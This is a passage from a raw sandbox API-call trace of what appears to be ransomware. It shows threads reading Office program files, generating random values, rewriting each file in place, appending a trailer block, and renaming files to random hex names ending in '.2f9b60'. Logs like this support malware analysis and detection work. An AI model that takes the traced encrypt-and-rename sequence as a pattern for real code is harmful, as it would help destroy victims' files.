lpNumberOfBytesWritten=0x30abfa14, lpOverlapped=0x0 | out: lpBuffer=0x4298fa20*, lpNumberOfBytesWritten=0x30abfa14*=0x484, lpOverlapped=0x0) returned 1 [0164.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0164.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe800 [0164.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe800) returned 1 [0164.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4298fa20) returned 1 [0164.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4298be10) returned 1 [0164.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce244a0) returned 1 [0164.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18820) returned 1 [0164.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d8240 [0164.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18820 [0164.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce244a0 [0164.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe800 [0164.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe800) returned 1 [0164.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d7f80 [0164.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe800 [0164.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe770 [0164.473] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe770) returned 1 [0164.473] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce244a0) returned 1 [0164.473] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18820) returned 1 [0164.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x42c20420 [0164.474] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0164.474] WriteFile (hFile=0x8fc, lpBuffer=0x42c20420, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x30abfb30, lpOverlapped=0x0) [0200.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0200.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0200.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x4205a530 [0200.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0200.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a140 [0200.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a140) returned 1 [0200.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b859390 [0200.094] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="43") returned 2 [0200.094] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="cf") returned 2 [0200.094] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="45") returned 2 [0200.094] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="da") returned 2 [0200.094] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="be") returned 2 [0200.094] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="99") returned 2 [0200.094] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="45") returned 2 [0200.094] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="5e") returned 2 [0200.094] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="19") returned 2 [0200.094] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="69") returned 2 [0200.094] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="87") returned 2 [0200.094] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="03") returned 2 [0200.094] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="f1") returned 2 [0200.094] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="04") returned 2 [0200.094] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="c7") returned 2 [0200.094] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="da") returned 2 [0200.094] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="d7") returned 2 [0200.094] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="40") returned 2 [0200.094] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="18") returned 2 [0200.094] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="b5") returned 2 [0200.095] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="73") returned 2 [0200.095] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="1a") returned 2 [0200.095] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="fd") returned 2 [0200.095] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="45") returned 2 [0200.095] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="5f") returned 2 [0200.095] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="d9") returned 2 [0200.095] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="c8") returned 2 [0200.095] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="0d") returned 2 [0200.095] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="4d") returned 2 [0200.095] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="a3") returned 2 [0200.095] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="d0") returned 2 [0200.095] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="c4") returned 2 [0200.095] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="e6") returned 2 [0200.095] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="c8") returned 2 [0200.095] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="aa") returned 2 [0200.095] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="bc") returned 2 [0200.095] sprintf (in: _Dest=0x1b8593d8, _Format="%c%c" | out: _Dest="a9") returned 2 [0200.095] sprintf (in: _Dest=0x1b8593da, _Format="%c%c" | out: _Dest="86") returned 2 [0200.095] sprintf (in: _Dest=0x1b8593dc, _Format="%c%c" | out: _Dest="d7") returned 2 [0200.095] sprintf (in: _Dest=0x1b8593de, _Format="%c%c" | out: _Dest="5f") returned 2 [0200.095] RtlInitAnsiString (in: DestinationString=0x30abfba8, SourceString="43cf45dabe99455e19698703f104c7dad74018b5731afd455fd9c80d4da3d0c4e6c8aabca986d75f" | out: DestinationString="43cf45dabe99455e19698703f104c7dad74018b5731afd455fd9c80d4da3d0c4e6c8aabca986d75f") [0200.095] RtlAnsiStringToUnicodeString (in: DestinationString=0x30abfb78, SourceString="43cf45dabe99455e19698703f104c7dad74018b5731afd455fd9c80d4da3d0c4e6c8aabca986d75f", AllocateDestinationString=1 | out: DestinationString="43cf45dabe99455e19698703f104c7dad74018b5731afd455fd9c80d4da3d0c4e6c8aabca986d75f") returned 0x0 [0200.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431f3dd0 [0200.096] wcscat (in: _Dest=0x431e3a80, _Source="43cf45dabe99455e1969" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\43cf45dabe99455e1969") returned="C:\\Program Files\\Microsoft Office\\Office14\\43cf45dabe99455e1969" [0200.096] wcscat (in: _Dest=0x431e3a80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\43cf45dabe99455e1969.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\43cf45dabe99455e1969.2f9b60" [0200.097] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\43cf45dabe99455e1969.2f9b60", NtPathName=0x30abfb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\43cf45dabe99455e1969.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431ed020 Thread: id = 2573 os_tid = 0x20a0 [0155.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\winproj.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\winproj.exe.manifest")) returned 0x20 [0155.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\winproj.exe.manifest", dwFileAttributes=0x20) returned 1 [0155.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\winproj.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\winproj.exe.manifest"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xec8 [0155.738] GetFileSizeEx (in: hFile=0xec8, lpFileSize=0x31c9f8c0 | out: lpFileSize=0x31c9f8c0*=3474) returned 1 [0155.738] SetFilePointerEx (in: hFile=0xec8, liDistanceToMove=0xd8e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.738] ReadFile (in: hFile=0xec8, lpBuffer=0x31c9f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x31c9f888, lpOverlapped=0x0 | out: lpBuffer=0x31c9f840*, lpNumberOfBytesRead=0x31c9f888*=0x4, lpOverlapped=0x0) returned 1 [0155.865] SetFilePointerEx (in: hFile=0xec8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb720 [0155.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb7b0 [0155.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb7e0 [0155.866] NtQuerySystemTime (in: CurrentTime=0x31c9f780 | out: CurrentTime=0x31c9f780*=132462177609994000) returned 0x0 [0155.866] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x7f157286 [0155.866] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x21f6a54f [0155.866] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x3efb3fa0 [0155.866] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x33bb2b54 [0155.866] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x2dd7317b [0155.866] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x63648200 [0155.866] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x7e79e804 [0155.866] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x64b40beb [0155.866] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x31a075cb [0155.866] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x265cee45 [0155.866] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x11f0a89d [0155.866] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x76b2cdd0 [0155.866] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x1ebeaf58 [0155.867] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x25a6b569 [0155.867] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x45aa41c [0155.867] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x1e85dff [0155.867] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x3d1424b7 [0155.867] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x61d0216a [0155.867] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x50b71a41 [0155.867] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x23fc5f8a [0155.867] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x59e372c8 [0155.867] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x31df8521 [0155.867] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0xfc0e33c [0155.867] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x7fc33690 [0155.867] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x18ad0843 [0155.867] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x15d99f38 [0155.867] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x2caf1380 [0155.867] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x283a4240 [0155.867] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x6f07268a [0155.867] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x20861718 [0155.867] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x78c86c8a [0155.867] RtlRandomEx (in: Seed=0x31c9f770 | out: Seed=0x31c9f770) returned 0x4d773ee4 [0155.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb810 [0155.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24520 [0155.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb840 [0155.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24520) returned 1 [0155.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb7e0) returned 1 [0155.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb720) returned 1 [0155.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18870 [0155.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24520 [0155.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb720 [0155.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb720) returned 1 [0155.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42997240 [0155.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4299ae50 [0155.884] ReadFile (in: hFile=0xec8, lpBuffer=0x42997240, nNumberOfBytesToRead=0xd92, lpNumberOfBytesRead=0x31c9f770, lpOverlapped=0x0 | out: lpBuffer=0x42997240*, lpNumberOfBytesRead=0x31c9f770*=0xd92, lpOverlapped=0x0) returned 1 [0155.884] SetFilePointerEx (in: hFile=0xec8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.884] WriteFile (in: hFile=0xec8, lpBuffer=0x4299ae50*, nNumberOfBytesToWrite=0xd92, lpNumberOfBytesWritten=0x31c9f774, lpOverlapped=0x0 | out: lpBuffer=0x4299ae50*, lpNumberOfBytesWritten=0x31c9f774*=0xd92, lpOverlapped=0x0) returned 1 [0164.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18420 [0164.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18450 [0164.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18450) returned 1 [0164.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4299ae50) returned 1 [0164.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42997240) returned 1 [0164.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24520) returned 1 [0164.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18870) returned 1 [0164.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d8040 [0164.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18870 [0164.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24520 [0164.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18450 [0164.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18450) returned 1 [0164.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d7f40 [0164.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18450 [0164.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18360 [0164.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18360) returned 1 [0164.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24520) returned 1 [0164.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18870) returned 1 [0164.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x42c20550 [0164.493] SetFilePointerEx (in: hFile=0xec8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0164.493] WriteFile (hFile=0xec8, lpBuffer=0x42c20550, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x31c9f890, lpOverlapped=0x0) [0200.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7aa0 [0200.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7aa0) returned 1 [0200.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1ced7aa0 [0200.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7890 [0200.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84c0 [0200.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84c0) returned 1 [0200.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b859390 [0200.152] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="5e") returned 2 [0200.152] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="59") returned 2 [0200.152] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="98") returned 2 [0200.152] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="ae") returned 2 [0200.152] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="e5") returned 2 [0200.152] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="1b") returned 2 [0200.152] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="ab") returned 2 [0200.152] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="a1") returned 2 [0200.152] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="6b") returned 2 [0200.152] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="cf") returned 2 [0200.152] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="df") returned 2 [0200.152] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="8a") returned 2 [0200.152] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="fa") returned 2 [0200.152] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="bf") returned 2 [0200.152] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="c0") returned 2 [0200.152] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="6e") returned 2 [0200.152] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="3a") returned 2 [0200.152] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="d9") returned 2 [0200.152] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="7a") returned 2 [0200.153] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="2f") returned 2 [0200.153] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="19") returned 2 [0200.153] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="57") returned 2 [0200.153] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="6b") returned 2 [0200.153] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="47") returned 2 [0200.153] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="12") returned 2 [0200.153] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="76") returned 2 [0200.153] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="e0") returned 2 [0200.153] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="e8") returned 2 [0200.153] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="10") returned 2 [0200.153] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="1e") returned 2 [0200.153] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="d4") returned 2 [0200.153] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="5d") returned 2 [0200.153] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="71") returned 2 [0200.153] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="24") returned 2 [0200.153] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="1a") returned 2 [0200.153] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="db") returned 2 [0200.153] sprintf (in: _Dest=0x1b8593d8, _Format="%c%c" | out: _Dest="96") returned 2 [0200.153] sprintf (in: _Dest=0x1b8593da, _Format="%c%c" | out: _Dest="f4") returned 2 [0200.153] sprintf (in: _Dest=0x1b8593dc, _Format="%c%c" | out: _Dest="32") returned 2 [0200.153] sprintf (in: _Dest=0x1b8593de, _Format="%c%c" | out: _Dest="06") returned 2 [0200.153] RtlInitAnsiString (in: DestinationString=0x31c9f908, SourceString="5e5998aee51baba16bcfdf8afabfc06e3ad97a2f19576b471276e0e8101ed45d71241adb96f43206" | out: DestinationString="5e5998aee51baba16bcfdf8afabfc06e3ad97a2f19576b471276e0e8101ed45d71241adb96f43206") [0200.153] RtlAnsiStringToUnicodeString (in: DestinationString=0x31c9f8d8, SourceString="5e5998aee51baba16bcfdf8afabfc06e3ad97a2f19576b471276e0e8101ed45d71241adb96f43206", AllocateDestinationString=1 | out: DestinationString="5e5998aee51baba16bcfdf8afabfc06e3ad97a2f19576b471276e0e8101ed45d71241adb96f43206") returned 0x0 [0200.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431f4140 [0200.154] wcscat (in: _Dest=0x431e3bc0, _Source="5e5998aee51baba16bcf" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\5e5998aee51baba16bcf") returned="C:\\Program Files\\Microsoft Office\\Office14\\5e5998aee51baba16bcf" [0200.154] wcscat (in: _Dest=0x431e3bc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\5e5998aee51baba16bcf.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\5e5998aee51baba16bcf.2f9b60" [0200.154] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\5e5998aee51baba16bcf.2f9b60", NtPathName=0x31c9f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\5e5998aee51baba16bcf.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431ed260 [0242.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ed260) returned 1 [0242.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f7ad0) returned 1 [0242.671] NtQueryInformationFile (in: FileHandle=0xec8, IoStatusBlock=0x31c9f918, FileInformation=0x31c9f928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x31c9f918, FileInformation=0x31c9f928) returned 0x0 [0242.671] NtSetInformationFile (FileHandle=0xec8, IoStatusBlock=0x31c9f918, FileInformation=0x31c9f928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0244.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e3bc0) returned 1 [0244.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f4140) returned 1 [0244.504] FlushFileBuffers (hFile=0xec8) Thread: id = 2574 os_tid = 0x20a4 [0155.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnvpxy.cnv" (normalized: "c:\\program files\\microsoft office\\office14\\wordcnvpxy.cnv")) returned 0x20 [0155.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnvpxy.cnv", dwFileAttributes=0x20) returned 1 [0155.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnvpxy.cnv" (normalized: "c:\\program files\\microsoft office\\office14\\wordcnvpxy.cnv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe4c [0155.771] GetFileSizeEx (in: hFile=0xe4c, lpFileSize=0x329ffde0 | out: lpFileSize=0x329ffde0*=30048) returned 1 [0155.771] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0x755c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.771] ReadFile (in: hFile=0xe4c, lpBuffer=0x329ffd60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x329ffda8, lpOverlapped=0x0 | out: lpBuffer=0x329ffd60*, lpNumberOfBytesRead=0x329ffda8*=0x4, lpOverlapped=0x0) returned 1 [0155.834] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb3f0 [0155.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb600 [0155.835] RtlAllocateHeap (HeapHandle=0xa0000, 